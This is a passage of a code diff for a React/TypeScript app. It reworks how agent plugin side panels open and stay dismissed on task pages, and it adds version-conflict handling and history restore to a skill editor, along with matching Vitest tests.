expect(history).not.toHaveBeenCalled(); expect(get).not.toHaveBeenCalled(); +}); + +it("has no manual agent view for an unassigned idle task", async () => { + list.mockResolvedValue([]); + await render({ ...issue, assigneeAgentId: null }); + expect(panels).toEqual([]); +}); + it("uses the running agent's authorized status and existing plugin slot", async () => { await render(); expect(list).toHaveBeenCalledWith("task"); @@ -60,7 +131,7 @@ it.each(["absent", "disabled", "draft", "no-task", "plugin-error"])("does no pan if (kind === "absent") plugin.slots = []; if (kind === "plugin-error") plugin.errorMessage = "Unavailable"; await render(kind === "no-task" ? null : kind === "draft" ? { ...issue, id: "chat:draft" } : issue, kind !== "disabled"); - expect(current).toEqual([]); expect(get).not.toHaveBeenCalled(); expect(list).not.toHaveBeenCalled(); + expect(current).toEqual([]); expect(panels).toEqual([]); expect(get).not.toHaveBeenCalled(); expect(list).not.toHaveBeenCalled(); }); it.each(["queued", "succeeded", "another-run"])("ignores a %s run", async kind => { list.mockResolvedValue([{ ...run, status: kind === "another-run" ? "running" : kind, id: kind === "another-run" ? "other" : "run" }]); @@ -71,7 +142,7 @@ it("discovers a panel started after the task is already open, then hides it on s get.mockResolvedValue({ available: true }); await refresh(); expect(current[0]?.entityId).toBe("agent"); get.mockRejectedValue(new Error("Access denied")); await refresh(); expect(current).toEqual([]); }); -it("removes the panel when the run ends even if its view is still ready", async () => { +it("clears automatic activation when the run ends even if its view is still ready", async () => { await render(); expect(current).not.toEqual([]); await act(async () => { client.setQueryData(queryKeys.issues.liveRuns("task"), []); }); await render(); expect(current).toEqual([]); @@ -236,10 +307,10 @@ it.each([500, 403])("bounds failed discovery reads for HTTP %s", async status => expect(current).toEqual([]); }); -it("does not discover a task view without a declared activity mapping", async () => { +it("does not automatically open a task view without a declared activity mapping", async () => { plugin.slots = [{ ...slot, taskSidePanel: { availabilityPath: slot.taskSidePanel!.availabilityPath } }]; await render(); - expect(list).not.toHaveBeenCalled(); expect(history).not.toHaveBeenCalled(); + expect(list).toHaveBeenCalledWith("task"); expect(history).not.toHaveBeenCalled(); expect(get).not.toHaveBeenCalled(); expect(current).toEqual([]); }); diff --git a/ui/src/hooks/useTaskPluginPanels.ts b/ui/src/hooks/useTaskPluginPanels.ts index 12c84a73254..2d022669b6c 100644 --- a/ui/src/hooks/useTaskPluginPanels.ts +++ b/ui/src/hooks/useTaskPluginPanels.ts @@ -11,7 +11,8 @@ import { usePluginSlots, type ResolvedPluginSlot } from "@/plugins/slots"; export interface TaskPluginPanel { entityId: string; - runId: string; + runId?: string; + autoOpen: boolean; slot: ResolvedPluginSlot; } @@ -21,23 +22,28 @@ export function taskPluginPanelId(panel: TaskPluginPanel) { return `plugin:${panel.slot.pluginKey}:${panel.slot.id}:${panel.entityId}`; } -/** Plugins own availability and content; the host supplies the running agent. */ -export function useTaskPluginPanels(issue: Issue | null | undefined, enabled = true): TaskPluginPanel[] { +export function taskPluginPanelActivationKey(panel: TaskPluginPanel, accountScope: string, issue: Pick) { + return JSON.stringify([accountScope, issue.companyId, issue.id, panel.runId, taskPluginPanelId(panel)]); +} + +/** Plugins own their views; activity controls automatic opening. */ +export function useTaskPluginPanels(issue: Issue | null | undefined, enabled = true): { panels: TaskPluginPanel[]; isLoading: boolean } { const queryClient = useQueryClient(); const savedTask = enabled && !!issue && !issue.id.startsWith("chat:"); - const { slots: declaredSlots, errorMessage } = usePluginSlots({ + const { slots: declaredSlots, errorMessage, isLoading } = usePluginSlots({ slotTypes: ["detailTab"], entityType: "agent", taskSidePanel: true, companyId: issue?.companyId, enabled: savedTask, }); - const slots = useMemo(() => declaredSlots.filter(slot => slot.taskSidePanel?.activation), [declaredSlots]); + const panels = useMemo(() => declaredSlots.filter(slot => slot.taskSidePanel), [declaredSlots]); + const slots = useMemo(() => panels.filter(slot => slot.taskSidePanel?.activation), [panels]); const connected = useTaskRunLiveUpdates({ - companyId: savedTask && slots.length > 0 && !errorMessage ? issue?.companyId : null, + companyId: savedTask && panels.length > 0 && !errorMessage ? issue?.companyId : null, issueId: issue?.id, issueQueryRef: issue?.id ?? "pending", assigneeAgentId: issue?.assigneeAgentId, }); - const { data: runs, isError: runsError } = useQuery({ + const { data: runs, isError: runsError, isPending: runsPending } = useQuery({ queryKey: queryKeys.issues.liveRuns(issue?.id ?? "pending"), queryFn: () => heartbeatsApi.liveRunsForIssue(issue!.id), - enabled: savedTask && slots.length > 0 && !errorMessage, + enabled: savedTask && panels.length > 0 && !errorMessage, refetchInterval: connected ? false : 3000, retry: (failures: number, error: Error) => failures < 2 && !(error instanceof ApiError && error.status >= 400 && error.status < 500), retryDelay: 1000, @@ -125,7 +131,14 @@ export function useTaskPluginPanels(issue: Issue | null | undefined, enabled = t const available = availability.map((result, index) => !activationsError && !result.isError && result.data?.available === true && activations.some(panel => panel.pluginKey === slots[index]?.pluginKey && panel.slotId === slots[index]?.id)); const availableKey = available.join(","); - return useMemo(() => active && run ? slots.flatMap((slot, index) => available[index] - ? [{ entityId: run.agentId, runId: run.id, slot }] : []) : EMPTY_PANELS, - [active, run?.agentId, run?.id, slots, availableKey]); + const agentId = (!runsError && run?.agentId) || issue?.assigneeAgentId; + const manualPanels = useMemo(() => savedTask && !errorMessage && agentId ? panels.map(slot => ({ + entityId: agentId, + ...(!runsError && run ? { runId: run.id } : {}), + autoOpen: active && available[slots.indexOf(slot)] === true, + slot, + })) : EMPTY_PANELS, + [savedTask, errorMessage, agentId, panels, run?.id, runsError, active, slots, availableKey]); + return { panels: manualPanels, isLoading: savedTask && !errorMessage + && (isLoading || (panels.length > 0 && runsPending)) }; } diff --git a/ui/src/lib/skill-fork.ts b/ui/src/lib/skill-fork.ts index 4f2adb214bf..aad5e11feb4 100644 --- a/ui/src/lib/skill-fork.ts +++ b/ui/src/lib/skill-fork.ts @@ -26,6 +26,8 @@ export function shortSha(ref: string | null | undefined): string | null { function sourceTypeFallbackLabel(sourceType: CompanySkillSourceType): string { switch (sourceType) { + case "managed": + return "Paperclip"; case "github": return "GitHub"; case "skills_sh": diff --git a/ui/src/pages/IssueDetail.test.tsx b/ui/src/pages/IssueDetail.test.tsx index 7524981a7b0..f25e0a61685 100644 --- a/ui/src/pages/IssueDetail.test.tsx +++ b/ui/src/pages/IssueDetail.test.tsx @@ -38,6 +38,7 @@ import { shouldScrollIssueDetailToTopOnNavigation, } from "./IssueDetail"; import { queryKeys } from "../lib/queryKeys"; +import { taskPluginPanelActivationKey } from "@/hooks/useTaskPluginPanels"; import { armIssueDetailInboxQuickArchive, createIssueDetailLocationState, @@ -162,6 +163,11 @@ const mockRouteParams = vi.hoisted(() => ({ const mockSidebarState = vi.hoisted(() => ({ isMobile: false })); const mockIssuePropertiesRender = vi.hoisted(() => vi.fn()); const mockTaskSidePanelRender = vi.hoisted(() => vi.fn()); +const mockTaskPluginPanels = vi.hoisted(() => ({ panels: [] as import("@/hooks/useTaskPluginPanels").TaskPluginPanel[], isLoading: false })); +vi.mock("@/hooks/useTaskPluginPanels", async importOriginal => ({ + ...await importOriginal(), + useTaskPluginPanels: () => mockTaskPluginPanels, +})); const mockSetBreadcrumbs = vi.hoisted(() => vi.fn()); const mockSetBreadcrumbToolbar = vi.hoisted(() => vi.fn()); const mockSetBreadcrumbPanelControl = vi.hoisted(() => vi.fn()); @@ -1334,6 +1340,7 @@ describe("IssueDetail", () => { beforeEach(() => { Object.assign(coordinatorPreference, { enabled: false, loaded: true }); + mockTaskPluginPanels.panels = []; mockTaskPluginPanels.isLoading = false; localStorage.clear(); sessionStorage.clear(); mockPanelState.panelVisible = true; @@ -2443,6 +2450,36 @@ describe("IssueDetail", () => { }); }); + it.each([ + { coordinator: false, mobile: false }, { coordinator: false, mobile: true }, + { coordinator: true, mobile: false }, { coordinator: true, mobile: true }, + ])("keeps dismissed plugin panes closed (coordinator=$coordinator, mobile=$mobile)", async ({ coordinator, mobile }) => { + coordinatorPreference.enabled = coordinator; + mockAuthApi.getSession.mockResolvedValue({ session: { userId: "user-1" }, user: { id: "user-1" } }); + const task = createIssue(); + mockIssuesApi.get.mockResolvedValue(task); + const manual = { entityId: "agent-1", runId: "run-1", autoOpen: false, + slot: { pluginKey: "example.view", id: "screen", displayName: "Live view" } } as import("@/hooks/useTaskPluginPanels").TaskPluginPanel; + mockTaskPluginPanels.panels = [manual]; + await act(async () => { renderIssueView(); }); + await waitForAssertion(() => expect(mockOpenPanel).toHaveBeenCalled()); + const props = mockOpenPanel.mock.calls.at(-1)![0]?.props.children?.props as { + accountScope: string; dismissedPluginPanelKeys: Set; + }; + props.dismissedPluginPanelKeys.add(taskPluginPanelActivationKey(manual, props.accountScope, task)); + mockPanelState.panelVisible = false; + mockSidebarState.isMobile = mobile; + mockTaskPluginPanels.panels = [{ ...manual, autoOpen: true }]; + mockSetPanelVisible.mockClear(); + await act(async () => { renderIssueView(); }); await flushReact(); + expect(mockSetPanelVisible).not.toHaveBeenCalledWith(true); + expect(container.querySelector('[data-testid="mobile-task-side-panel"]')).toBeNull(); + mockTaskPluginPanels.panels = [{ ...manual, runId: "run-2", autoOpen: true }]; + await act(async () => { renderIssueView(); }); await flushReact(); + expect(mockSetPanelVisible).toHaveBeenCalledWith(true); + if (mobile) expect(container.querySelector('[data-testid="mobile-task-side-panel"]')).not.toBeNull(); + }); + it("does not register a redundant breadcrumb side-panel toggle in Streamlined UI", async () => { mockIssuesApi.get.mockResolvedValue(createIssue()); mockPanelState.panelVisible = false; diff --git a/ui/src/pages/IssueDetail.tsx b/ui/src/pages/IssueDetail.tsx index 81b27703e85..216c051efcd 100644 --- a/ui/src/pages/IssueDetail.tsx +++ b/ui/src/pages/IssueDetail.tsx @@ -16,7 +16,7 @@ import { WorkspaceRetryControl } from "../components/WorkspaceRetryButton"; import { isLockedIssueStub, LockedIssueChip } from "@/components/LockedIssueChip"; import { canManageIssuePrivacy } from "../lib/issuePrivacy"; import { TextAttachmentContext } from "../context/TextAttachmentContext"; -import { useTaskPluginPanels, taskPluginPanelId } from "@/hooks/useTaskPluginPanels"; +import { useTaskPluginPanels, taskPluginPanelActivationKey } from "@/hooks/useTaskPluginPanels"; import { useTaskBrowsers, useBrowserArrivals } from "@/hooks/useTaskBrowsers"; import { WorkspaceExportRecovery } from "../components/WorkspaceExportRecovery"; import { DispositionRecoveryProvider } from "../components/DispositionRecoveryNotice"; @@ -4094,19 +4094,22 @@ export function TaskDetailSurface({ conversation, tasksTab }: { tasksTab?: TaskS const timeout = window.setTimeout(() => observer.disconnect(), 10_000); return () => { observer.disconnect(); window.clearTimeout(timeout); }; }, [coordinatorWorkspaceEnabled, issue?.id, location.hash, location.key]); - const pluginPanels = useTaskPluginPanels(issue, taskChatShellEnabled); + const taskPanelAccountScope = coordinatorWorkspaceEnabled ? `coordinator:${currentUserId ?? "anonymous"}` : currentUserId ?? "anonymous"; + const { panels: pluginPanels, isLoading: pluginPanelsLoading } = useTaskPluginPanels(issue, taskChatShellEnabled); const revealedPluginPanels = useRef(new Set()); const openedPluginPanelKeys = useRef(new Set()); const dismissedPluginPanelKeys = useRef(new Set()); useEffect(() => { for (const panel of pluginPanels) { - const key = JSON.stringify([currentUserId, issue?.id, panel.runId, taskPluginPanelId(panel)]); + if (!panel.autoOpen || !panel.runId) continue; + const key = taskPluginPanelActivationKey(panel, taskPanelAccountScope, issue!); if (revealedPluginPanels.current.has(key)) continue; revealedPluginPanels.current.add(key); + if (dismissedPluginPanelKeys.current.has(key)) continue; openTaskSidePanel(); if (isMobile) setMobilePropsOpen(true); } - }, [pluginPanels, currentUserId, issue?.id, openTaskSidePanel, isMobile]); + }, [pluginPanels, taskPanelAccountScope, issue?.companyId, issue?.id, openTaskSidePanel, isMobile]); const browserQuery = useTaskBrowsers(issue?.id); const { openBrowserId, openBrowser: setOpenBrowserId, acknowledgeBrowserOpened: handleBrowserOpened } = useBrowserArrivals(currentUserId ?? "anonymous", issue?.id, browserQuery.data); @@ -6233,13 +6236,14 @@ export function TaskDetailSurface({ conversation, tasksTab }: { tasksTab?: TaskS closePanel(); }, [ pluginPanels, + pluginPanelsLoading, + taskPanelAccountScope, openBrowserId, handleBrowserOpened, closePanel, @@ -8855,13 +8861,14 @@ export function TaskDetailSurface({ conversation, tasksTab }: { tasksTab?: TaskS ({ pathname: "/skills/studio/new", @@ -274,6 +275,7 @@ beforeEach(() => { forkedFromSkillId: null, }); mockCompanySkillsApi.file.mockResolvedValue({ + versionId: "read-version", path: "SKILL.md", content: "---\nname: Demo Skill\ndescription: Existing\n---\n\n# Demo Skill\n", markdown: true, @@ -568,6 +570,39 @@ describe("SkillStudio editor frontmatter", () => { routeState.skillId = "source-skill"; }); + it.each(["local_path", "managed"] as const)("restores %s history through its supported authoring path", async (sourceType) => { + mockCompanySkillsApi.detail.mockResolvedValue(makeSkill({ sourceType, currentVersionId: "head-version" })); + mockCompanySkillsApi.versions.mockResolvedValue([{ id: "old-version", revisionNumber: 1, createdAt: new Date() }]); + mockCompanySkillsApi.version.mockResolvedValue({ revisionNumber: 1, fileInventory: [ + { path: "SKILL.md", content: "# Restored" }, { path: "support.txt", content: "support" }, + ] }); + if (sourceType === "local_path") { + mockCompanySkillsApi.updateFile.mockResolvedValueOnce({ versionId: "first-save" }).mockResolvedValueOnce({ versionId: "second-save" }); + } + const node = await renderStudio(); + await waitFor(() => expect(buttonsNamed(node, "Version history")[0]).toBeTruthy()); + await click(buttonsNamed(node, "Version history")[0]!); + await waitFor(() => expect(buttonsNamed(document, "Restore as v2")[0]).toBeTruthy()); + await click(buttonsNamed(document, "Restore as v2")[0]!); + await waitFor(() => expect(mockCompanySkillsApi.createVersion).toHaveBeenCalled()); + if (sourceType === "managed") { + expect(mockCompanySkillsApi.updateFile).not.toHaveBeenCalled(); + expect(mockCompanySkillsApi.createVersion).toHaveBeenCalledWith("company-1", "source-skill", { + sourceVersionId: "old-version", expectedVersionId: "head-version", label: "Restored saved version", + }); + } else { + expect(mockCompanySkillsApi.updateFile).toHaveBeenNthCalledWith(1, "company-1", "source-skill", "SKILL.md", "# Restored", { + executable: false, expectedVersionId: "head-version", + }); + expect(mockCompanySkillsApi.updateFile).toHaveBeenNthCalledWith(2, "company-1", "source-skill", "support.txt", "support", { + executable: false, expectedVersionId: "first-save", + }); + expect(mockCompanySkillsApi.createVersion).toHaveBeenCalledWith("company-1", "source-skill", { + label: "Restore of v1", expectedVersionId: "second-save", + }); + } + }); + it("does not show the frontmatter section when the selected markdown file has no frontmatter", async () => { mockCompanySkillsApi.file.mockResolvedValueOnce({ path: "SKILL.md", @@ -641,6 +676,7 @@ describe("SkillStudio editor frontmatter", () => { "source-skill", "SKILL.md", expect.stringContaining("Edited body"), + { expectedVersionId: "read-version" }, ); }); expect(mockCompanySkillsApi.updateFile).toHaveBeenCalledWith( @@ -648,9 +684,61 @@ describe("SkillStudio editor frontmatter", () => { "source-skill", "SKILL.md", expect.stringContaining("---\nname: Demo Skill"), + { expectedVersionId: "read-version" }, ); }); + it("keeps unsaved text on a version conflict and reloads only after confirmation", async () => { + mockCompanySkillsApi.updateFile.mockRejectedValueOnce(new ApiError("Skill version changed", 409, {})); + const node = await renderStudio(); + let editor: HTMLTextAreaElement; + await waitFor(() => { + editor = Array.from(node.querySelectorAll('[data-testid="markdown-editor"]')) + .find(candidate => candidate.value.includes("# Demo Skill"))!; + expect(editor).toBeTruthy(); + }); + await keyDown(editor!, "E"); + await click(buttonsNamed(node, "Save").find(button => !button.disabled)!); + await waitFor(() => expect(node.textContent).toContain("This skill changed since you opened it")); + expect(editor!.value).toContain("Edited body"); + mockCompanySkillsApi.file.mockResolvedValue({ path: "SKILL.md", content: "# New saved version", versionId: "new-version", markdown: true, editable: true }); + const confirm = vi.spyOn(window, "confirm").mockReturnValueOnce(false).mockReturnValueOnce(true); + await click(buttonsNamed(node, "Load latest saved file")[0]!); + expect(editor!.value).toContain("Edited body"); + await click(buttonsNamed(node, "Load latest saved file")[0]!); + await waitFor(() => expect(node.textContent).not.toContain("This skill changed since you opened it")); + expect(Array.from(node.querySelectorAll('[data-testid="markdown-editor"]')).some(candidate => candidate.value.includes("# New saved version"))).toBe(true); + confirm.mockRestore(); + }); + + it("preserves text typed while a confirmed latest-file reload is pending", async () => { + mockCompanySkillsApi.updateFile.mockRejectedValueOnce(new ApiError("Skill version changed", 409, {})); + const node = await renderStudio(); + let editor: HTMLTextAreaElement; + await waitFor(() => { + editor = Array.from(node.querySelectorAll('[data-testid="markdown-editor"]')) + .find(candidate => candidate.value.includes("# Demo Skill"))!; + expect(editor).toBeTruthy(); + }); + await keyDown(editor!, "E"); + await click(buttonsNamed(node, "Save").find(button => !button.disabled)!); + await waitFor(() => expect(node.textContent).toContain("This skill changed since you opened it")); + const latest = { path: "SKILL.md", content: "# New saved version", versionId: "new-version", markdown: true, editable: true }; + let resolveReload!: (value: typeof latest) => void; + mockCompanySkillsApi.file.mockImplementationOnce(() => new Promise(resolve => { resolveReload = resolve; })); + const confirm = vi.spyOn(window, "confirm").mockReturnValue(true); + await click(buttonsNamed(node, "Load latest saved file")[0]!); + await waitFor(() => expect(resolveReload).toBeTypeOf("function")); + await keyDown(editor!, "E"); + const editedDuringReload = editor!.value; + resolveReload(latest); + await waitFor(() => expect(buttonsNamed(node, "Load latest saved file")[0]!.disabled).toBe(false)); + expect(editor!.value).toBe(editedDuringReload); + expect(node.textContent).toContain("Unsaved"); + expect(node.textContent).toContain("This skill changed since you opened it"); + confirm.mockRestore(); + }); + it("offers a 'Make a copy' CTA on the read-only banner (PAP-13112)", async () => { mockCompanySkillsApi.detail.mockResolvedValueOnce(makeSkill({ editable: false, diff --git a/ui/src/pages/SkillStudio.tsx b/ui/src/pages/SkillStudio.tsx index d7e2349a7d4..9dc170dd6bc 100644 --- a/ui/src/pages/SkillStudio.tsx +++ b/ui/src/pages/SkillStudio.tsx @@ -56,6 +56,7 @@ import { useOptionalToastActions } from "../context/ToastContext"; import { classifySkillDenial } from "@/lib/skill-policy-denial"; import { agentsApi } from "@/api/agents"; import { companySkillsApi } from "@/api/companySkills"; +import { ApiError } from "@/api/client"; import { issuesApi } from "@/api/issues"; import { queryKeys } from "@/lib/queryKeys"; import { copyTextToClipboard } from "@/lib/clipboard"; @@ -1304,6 +1305,7 @@ function SkillPane({ const [expandedDirs, setExpandedDirs] = useState>(new Set()); const [draft, setDraft] = useState(""); const [savedContent, setSavedContent] = useState(""); + const [versionConflict, setVersionConflict] = useState(false); const [createDialog, setCreateDialog] = useState<"file" | "folder" | null>(null); const [deleteFolderOpen, setDeleteFolderOpen] = useState(false); // Gate rich-editor onChange until the user actually interacts with the body. @@ -1319,6 +1321,10 @@ function SkillPane({ [paths], ); + const [baseVersionId, setBaseVersionId] = useState(); + const draftFileRef = useRef(null); + const currentDraftRef = useRef({ skillId, selectedFile, draft }); + currentDraftRef.current = { skillId, selectedFile, draft }; const fileQuery = useQuery({ queryKey: queryKeys.companySkills.file(companyId, skillId, selectedFile), queryFn: () => companySkillsApi.file(companyId, skillId, selectedFile), @@ -1327,6 +1333,10 @@ function SkillPane({ useEffect(() => { if (fileQuery.data) { + if (draftFileRef.current === selectedFile && draft !== savedContent) return; + draftFileRef.current = selectedFile; + setBaseVersionId(fileQuery.data.versionId); + setVersionConflict(false); bodyInteractedRef.current = false; setDraft(fileQuery.data.content); setSavedContent(fileQuery.data.content); @@ -1354,9 +1364,15 @@ function SkillPane({ }, [dirty, selectedFile]); const saveMutation = useMutation({ - mutationFn: () => companySkillsApi.updateFile(companyId, skillId, selectedFile, draft), + mutationFn: ({ path, content, versionId }: { path: string; content: string; versionId: string | null | undefined }) => + companySkillsApi.updateFile(companyId, skillId, path, content, { expectedVersionId: versionId }), onSuccess: (updated) => { - setSavedContent(updated.content); + queryClient.setQueryData(queryKeys.companySkills.file(companyId, skillId, updated.path), updated); + if (draftFileRef.current === updated.path) { + setBaseVersionId(updated.versionId); + setSavedContent(updated.content); + setVersionConflict(false); + } queryClient.invalidateQueries({ queryKey: queryKeys.companySkills.detail(companyId, skillId), }); @@ -1367,13 +1383,33 @@ function SkillPane({ queryKey: queryKeys.companySkills.versions(companyId, skillId), }); }, - onError: onError("Couldn't save file"), + onError: (error) => { + if (error instanceof ApiError && error.status === 409) setVersionConflict(true); + onError("Couldn't save file")(error); + }, }); + async function loadLatestSavedFile() { + if (dirty && !window.confirm("Discard unsaved edits and load the latest saved file?")) return; + const result = await fileQuery.refetch(); + if (result.error) { onError("Couldn't load latest file")(result.error); return; } + if (!result.data) return; + // Discard confirmation covers only the draft that started this request. + const current = currentDraftRef.current; + if (current.skillId !== skillId || current.selectedFile !== selectedFile || current.draft !== draft) return; + draftFileRef.current = selectedFile; + setDraft(result.data.content); + setSavedContent(result.data.content); + setBaseVersionId(result.data.versionId); + setVersionConflict(false); + } + const createMutation = useMutation({ mutationFn: ({ path, content }: { path: string; content: string }) => - companySkillsApi.updateFile(companyId, skillId, path, content), + companySkillsApi.updateFile(companyId, skillId, path, content, { expectedVersionId: baseVersionId ?? skill.currentVersionId }), onSuccess: (created) => { + setBaseVersionId(created.versionId); + queryClient.setQueryData(queryKeys.companySkills.file(companyId, skillId, created.path), created); setSelectedFile(created.path); setDraft(created.content); setSavedContent(created.content); @@ -1393,8 +1429,10 @@ function SkillPane({ const deleteMutation = useMutation({ mutationFn: (input: { path: string; target: "file" | "folder" }) => - companySkillsApi.deleteFile(companyId, skillId, input), + companySkillsApi.deleteFile(companyId, skillId, { ...input, expectedVersionId: baseVersionId ?? skill.currentVersionId }), onSuccess: (result) => { + setBaseVersionId(result.versionId); + queryClient.invalidateQueries({ queryKey: queryKeys.companySkills.file(companyId, skillId, selectedFile) }); const deleted = new Set(result.deletedPaths); const remaining = paths.filter((path) => !deleted.has(path)); setSelectedFile(remaining.find((path) => /skill\.md$/i.test(path)) ?? remaining[0] ?? "SKILL.md"); @@ -1472,6 +1510,14 @@ function SkillPane({ } >
+ {versionConflict ? ( +
+ This skill changed since you opened it. Your unsaved edits are still here. Copy them before loading the latest file to reconcile the changes. + +
+ ) : null} {dirty && !readOnly ? (
@@ -1531,7 +1577,7 @@ function SkillPane({ @@ -3463,14 +3509,22 @@ function VersionHistorySheet({ const restore = useMutation({ mutationFn: async (selection: { id: string }) => { - const version = await companySkillsApi.version(companyId, skillId, selection.id); - // Restore = write each file from the chosen version back, then cut a new - // head version (immutability: never rewrites history). - for (const file of version.fileInventory) { - await companySkillsApi.updateFile(companyId, skillId, file.path, file.content, { encoding: file.encoding, executable: file.executable ?? false }); + if (skill.sourceType === "local_path") { + const version = await companySkillsApi.version(companyId, skillId, selection.id); + let expectedVersionId = skill.currentVersionId; + for (const file of version.fileInventory) { + const saved = await companySkillsApi.updateFile(companyId, skillId, file.path, file.content, { + encoding: file.encoding, executable: file.executable ?? false, expectedVersionId, + }); + expectedVersionId = saved.versionId ?? expectedVersionId; + } + return companySkillsApi.createVersion(companyId, skillId, { + label: `Restore of v${version.revisionNumber}`, expectedVersionId, + }); } return companySkillsApi.createVersion(companyId, skillId, { - label: `Restore of v${version.revisionNumber}`, + sourceVersionId: selection.id, expectedVersionId: skill.currentVersionId, + label: "Restored saved version", }); }, onSuccess: () => {